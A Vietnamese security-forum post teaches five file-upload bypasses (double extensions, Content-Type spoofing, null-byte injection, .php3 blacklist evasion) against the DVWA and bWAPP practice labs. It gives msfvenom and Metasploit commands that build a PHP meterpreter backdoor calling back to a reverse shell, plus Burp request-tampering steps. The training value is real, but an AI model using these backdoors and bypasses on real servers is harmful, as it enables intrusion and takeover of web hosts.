5 cách khai thác lỗ hổng upload file

adamdj

VIP Members
24/08/2016
91
130 bài viết
5 cách khai thác lỗ hổng upload file
Lỗ hổng Upload File là một vấn đề lớn với các ứng dụng dựa trên web. Trong nhiều máy chủ web lỗ hổng này phụ thuộc hoàn toàn vào mục đích, cho phép kẻ tấn công để tải lên một tập tin với mã độc hại trong đó có thể được thực thi trên máy chủ. Một kẻ tấn công có thể có thể đặt một trang lừa đảo vào các trang web hoặc phá hoại các trang web.
1489939954how-to-check-a-wordpress-theme-for-malicious-code-1.png

Dựa vào lỗ hổng kẻ tấn công có thể thu thập thông tin nội bộ của máy chủ web. Trong bài viết này chúng ta sẽ thảo luận các phương pháp khai thác lỗ hổng Upload File khác nhau và cố gắn khai thác được chúng. Bạn cũng sẽ học các kỹ thuật lây nhiểm khác nhau để tải lên một tập tin độc hại của php trong một máy chủ web và khai thác chúng. [h=3]CƠ BẢN UPLOAD[/h]
Trong kịch bản này một tập tin php đơn giản sẽ được đăng tải trên các máy chủ web mà không cần bất kỳ hạn chế, ở đây máy chủ không kiểm tra các loại tập tin hoặc trang nội dung phần mở rộng được tải lên.

Ví dụ, nếu máy chủ cho phép để tải lên một tập tin văn bản hoặc hình ảnh, được coi là dữ liệu và nếu tham số bảo mật là thấp trong khi đó không có hạn chế về loại nội dung hoặc tên tập tin sau đó bạn có thể dễ dàng bỏ qua tập tin php độc hại được coi là ứng dụng trong máy chủ web.

Click vào DVWA Secrity và thiết lập website Security Level thấp

Mở terminal trong kali linux và tạo php backdoor thông qua dòng lệnh sau
Mã:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.104 lport=4444 -f raw
Sao chép và dán đoạn mã nhấn mạnh trong Leafpad và lưu lại với phần mở rộng PHP như img.php trên desktop.

Tải Metasploit framework gõ msfconsole và bắt đầu đa xử lý.
14899399545-Cách-khai-thác-lỗ-hổng-upload-file.png

Hãy trở lại với lab DVWA của bạn và nhấp vào tập tin tùy chọn tải lên từ trình đơn lỗ hổng.

Bây giờ bấm vào thẻ duyệt để duyệt tập tin img.php để tải nó về máy chủ web và click vào upload sẽ tải lên tập tin của bạn trên máy chủ web.
14899399545-Cách-khai-thác-lỗ-hổng-upload-file-1.png

Sau khi tải lên các tập tin PHP nó sẽ hiển thị đường dẫn của thư mục mà tập tin của bạn được tải lên thành công và bây giờ sao chép một phần được chọn và dán nó vào URL để thực hiện nó.

hackable/uploads/img.php
14899399545-Cách-khai-thác-lỗ-hổng-upload-file-2.png

Mã:
msf > use multi/handler

msf exploit(handler) > set payload php/meterpreter/reverse_tcp

msf exploit(handler) > set lhost 192.168.1.104

msf exploit(handler) > set lport 4444

msf exploit(handler) > exploit

meterpreter > sysinfo
Bạn có thể quan sát, tôi đã có Meterpreter session 1 của nạn nhân trên Metasploit.
14899399545-Cách-khai-thác-lỗ-hổng-upload-file-3.png
[h=3]SỬ DỤNG KỸ THUẬT GẤP ĐÔI PHẦN ĐUÔI TẬP TIN[/h]
Click vào DVWA Secrity và thiết lập Website Security Mức độ trung bình

Ở đây chúng tôi gặp một tình huống mà nó sẽ kiểm tra phần mở rộng tập tin. Ở mức độ bảo mật trung bình nó chỉ cho phép .jpeg và .png tập tin mở rộng để được đăng tải trên các máy chủ web và hạn chế các file khác với phần mở rộng tập tin duy nhất trong khi tải lên trong máy chủ web. Hiện nay có một số kỹ thuật mà qua đó chúng ta sẽ bỏ qua các tập tin PHP độc hại trong máy chủ web
14899399545-Cách-khai-thác-lỗ-hổng-upload-file-4.png

Đó là một cố gắng để che giấu bản chất thực sự của một tập tin bằng cách chèn nhiều phần mở rộng với tên tập tin mà tạo ra sự nhầm lẫn cho các thông số bảo mật. Ví dụ img1.php.png trông giống như png mà là một dữ liệu không phải là một ứng dụng nhưng khi tập tin được tải lên với phần mở rộng gấp đôi nó sẽ thực thi file php mà là một ứng dụng.

Lặp lại quá trình tương tự để tạo ra các backdoor php với msfvenom và bây giờ lưu các tập tin như img1.php.png trên desktop và chạy nền đa sử lý.

Kể từ khi tập tin này sẽ được tải lên ở mức độ bảo mật trung bình, do đó nó nó sẽ khác hơn so mới mức độ bảo mật thấp. Bởi vì điều này rõ ràng sẽ kiểm tra phần mở rộng của tập tin cũng như đọc tên tập tin.

Bắt đầu upload tập tin bằng cách nhấn vào nút duyệt tập tin và upload tập tin img1.php.png lên máy chủ web. Sử dụng burp suite để chặn bắt nó lại ở tab proxy.Đừng quên thiết lập proxy thủ công của trình duyệt của bạn và bấm vào tải lên.
14899399545-Cách-khai-thác-lỗ-hổng-upload-file-5.png

Tab Intercept sẽ làm việc để bắt request được gửi đi của phương thức post khi bạn nhấp vào nút để tải lên. Bây giờ thay đổi img1.php.png thành img1.php bên trong phần soạn thảo dữ liệu.
14899399545-Cách-khai-thác-lỗ-hổng-upload-file-6.png

So sánh sự thay đổi trước khi tải lên tập tin PHP của bạn. Sau khi thay đổi nhấp chọn forward để upload file PHP trong thư mục.
14899399545-Cách-khai-thác-lỗ-hổng-upload-file-7.png

Sau khi tải lên các tập tin PHP nó sẽ hiển thị đường dẫn của thư mục mà tập tin của bạn được tải lên thành công Bây giờ sao chép một phần được chọn và dán nó vào URL để thực hiện nó.

hackable/uploads/img1.php
14899399545-Cách-khai-thác-lỗ-hổng-upload-file-8.png

Điều này sẽ cung cấp một Meterpreter session 2 khi bạn chạy URL trong trình duyệt.

meterpreter > sysinfo
14899399545-Cách-khai-thác-lỗ-hổng-upload-file-9.png
[h=3]CONTENT TYPE FILE UPLOAD[/h]
Content-Type “thực thể trong header của các request chỉ ra loại phương tiện truyền thông nội bộ của nội dung tin nhắn. Đôi khi các ứng dụng web sử dụng tham số này để nhận ra một tập tin là hợp lệ. Ví dụ, họ chỉ chấp nhận các tập tin với “Content-Type” của “text / plain“. Có thể bỏ qua bảo vệ này bằng cách thay đổi thông số này trong tiêu đề yêu cầu sử dụng một proxy web.

Một lần nữa lặp lại quá trình tương tự để tạo backdoor php với msfvenom và bây giờ lưu các tập tin như img2.php trên desktop và chạy nền đa xử lý.
14899399545-Cách-khai-thác-lỗ-hổng-upload-file-10.png

Bắt đầu Burp Suite và lặp lại quá trình cho việc lấy các request đã gửi. Trong ảnh chụp màn hình, bạn có thể đọc các loại trang nội dung cho file php; bây giờ thay đổi này kiểu nội dung application/x-php thành image/png để upload file php của bạn.
14899399545-Cách-khai-thác-lỗ-hổng-upload-file-11.png

Từ hình ảnh dưới đây bạn có thể cảm nhận được thao tác trong “Content-Type“, mà được gọi là kỹ thuật tiêm Content-Type.
14899399545-Cách-khai-thác-lỗ-hổng-upload-file-12.png

Bây giờ sao chép một phần được chọn và dán nó trong URL để thực hiện nó.

hackable/uploads/img2.php
14899399545-Cách-khai-thác-lỗ-hổng-upload-file-13.png

Điều này sẽ cung cấp một Meterpreter session 3 khi bạn chạy URL trong trình duyệt.
Mã:
meterpreter > sysinfo
14899399545-Cách-khai-thác-lỗ-hổng-upload-file-14.png
[h=3]NULL BYTE INJECTION[/h]
Null Byte Injection là một kỹ thuật khai thác trong đó sử dụng các ký tự null byte URL-encoded (ví dụ: 00%, hoặc 0x00 trong hex) được người dùng cung cấp. Một null byte trong các URL được đại diện bởi ‘00%’, trong ASCII là một ” ” (khoản trống) trong quá trình lây nhiểm. Ở đây có thể làm thay đổi logic dự định của ứng dụng và cho phép kẻ thù nguy hiểm để có được quyền truy cập trái phép vào các tập tin hệ thống.

Bây giờ ở đây bạn sẽ thấy tôi đã chèn một chuỗi vào cuối phần mở rộng và thay đổi chuỗi đó vào giá trị hex của nó và sau đó thay thế giá trị hex từ null byte ‘00%’. Lý do đằng sau chèn một giá trị null byte là, một số ứng dụng ngôn ngữ kịch bản máy chủ vẫn sử dụng thư viện c/c ++ để kiểm tra tên tập tin và nội dung. Trong c/c ++ một dòng kết thúc bằng /00 được gọi là null byte.

Do đó khi trình biên dịch nghiên cứu một byte null ở cuối chuỗi, nó sẽ cho rằng nó đã đến vào cuối chuỗi và dừng lại đọc thêm của chuỗi.

Bây giờ tạo một backdoor php với msfvenom và bây giờ lưu các tập tin như img3.php.jpg trên desktop và chạy nền đa xử lý.
14899399545-Cách-khai-thác-lỗ-hổng-upload-file-15.png

Bắt đầu Burp Suite và lặp lại quá trình cho việc lấy các request đã gửi. Nó trông giống như tập tin mở rộng gấp đôi nhưng ở đây kỹ thuật này là khá khác nhau từ phần double extension file uploading.
14899399545-Cách-khai-thác-lỗ-hổng-upload-file-16.png

Thêm bất kỳ chuỗi ký tự hoặc chữ cái như trong ảnh chụp màn hình ở đây và bạn sẽ nhận thấy rằng sự thay đổi trong các dòng đánh dấu mà tôi đã thực hiện đổi img3.php.jpg thành img3.phpD.jpg, bây giờ làm theo các bước tiếp theo sẽ là sửa đổi chuỗi này thành null byte.
14899399545-Cách-khai-thác-lỗ-hổng-upload-file-17.png

Trong bước tiếp theo, chúng tôi sẽ giải mã chuỗi chèn vào; Bây giờ giải mã chuỗi hoặc bảng chữ cái của bạn như tôi đã cho ‘D’ Bây giờ giải mã nó thành hex mà sẽ cho giá trị hex của nó và từ ảnh chụp màn hình, bạn có thể đọc giá trị hex của nó là 44.
14899399545-Cách-khai-thác-lỗ-hổng-upload-file-18.png

Bây giờ bấm vào tùy chọn hex được chặn bên dưới để xem thông tin được hiển thị. Ở đây bạn có thể đọc các giá trị hex cho tên tập tin mà tôi đã làm nổi bật. Để khai thác null thay thế các giá trị hex 44 từ giá trị null byte 00.
14899399545-Cách-khai-thác-lỗ-hổng-upload-file-19.png

Bây giờ bạn có thể cảm nhận được sự thay đổi từ các ảnh chụp màn hình cho nơi tôi đã tiêm các giá trị null trong các vị trí của giá trị hex của chuỗi chèn vào của chúng tôi.
14899399545-Cách-khai-thác-lỗ-hổng-upload-file-20.png

Khi một lần nữa bạn sẽ xem các dữ liệu thô, Bây giờ đây bạn sẽ thấy rằng chuỗi ‘D’ được thay đổi thành giá trị null byte.
14899399545-Cách-khai-thác-lỗ-hổng-upload-file-21.png

Bây giờ chuyển tiếp các dữ liệu bị chặn để khai thác tập tin tải lên thông qua các kỹ thuật tiêm null byte. Tuyệt quá!!! Chúng tôi đã bỏ qua sự an toàn trung bình Bây giờ sao chép đường dẫn tải và dán nó trong URL để thực hiện nó.
14899399545-Cách-khai-thác-lỗ-hổng-upload-file-22.png

Như hình ảnh bên dưới chúng ta thấy Meterpreter session 4 trong Metasploit.
14899399545-Cách-khai-thác-lỗ-hổng-upload-file-23.png
[h=3]BLACKLISTING FILE EXTENSIONS[/h]
Mục tiêu tiếp theo là máy chủ Web khác: bwapp. Thiết lập mức độ bảo mật trung bình, từ hộp danh sách lựa chọn lỗi của bạn và chọn Unrestricted File Upload bây giờ và nhấp chuột vào Hack

Một số sever side scripting kiểm tra ngôn ngữ php trong tên tập tin hiện tại và cho phép chỉ những tập tin mà không có phần mở rộng .php. Ở đây chúng ta có thể tiêm tập tin của chúng tôi bằng cách thay đổi một số chữ cái với các hình thức vốn của mình để bỏ qua các quy tắc nhạy cảm trong trường hợp này, ví dụ PHP hay PHP3.
14899399545-Cách-khai-thác-lỗ-hổng-upload-file-24.png

Bây giờ tạo một backdoor php với msfvenom và bây giờ lưu các tập tin như img4.php3 trên desktop và chạy nền đa xử lý.

Sau đó duyệt qua img4.php3 để tải lên máy chủ web và click vào tab upload. Ở đây mức độ bảo mật là trung bình, nó sẽ cho phép tải lên tập tin php lên trên máy chủ web và từ ảnh chụp màn hình cho bạn có thể xem file php của tôi được tải lên thành công. Bây giờ hãy nhấp vào liên kết ở đây và bạn sẽ nhận được kết nối đảo ngược tại nền đa xử lý.
14899399545-Cách-khai-thác-lỗ-hổng-upload-file-25.png

Mã:
msf > use multi/handler

msf exploit(handler) > set payload php/meterpreter/reverse_tcp

msf exploit(handler) > set lhost 192.168.1.104

msf exploit(handler) > set lport 4444

msf exploit(handler) > exploit

meterpreter > sysinfo

Tuyệt quá!!! Bạn có thể thấy tôi đã có Meterpreter session 1.
14899399545-Cách-khai-thác-lỗ-hổng-upload-file-26.png
Nguồn : vnhackernews​
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Double extension :D and Nullbyte Extension :3. Có khi để vậy cũng hay rồi mà :D.
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Bên trên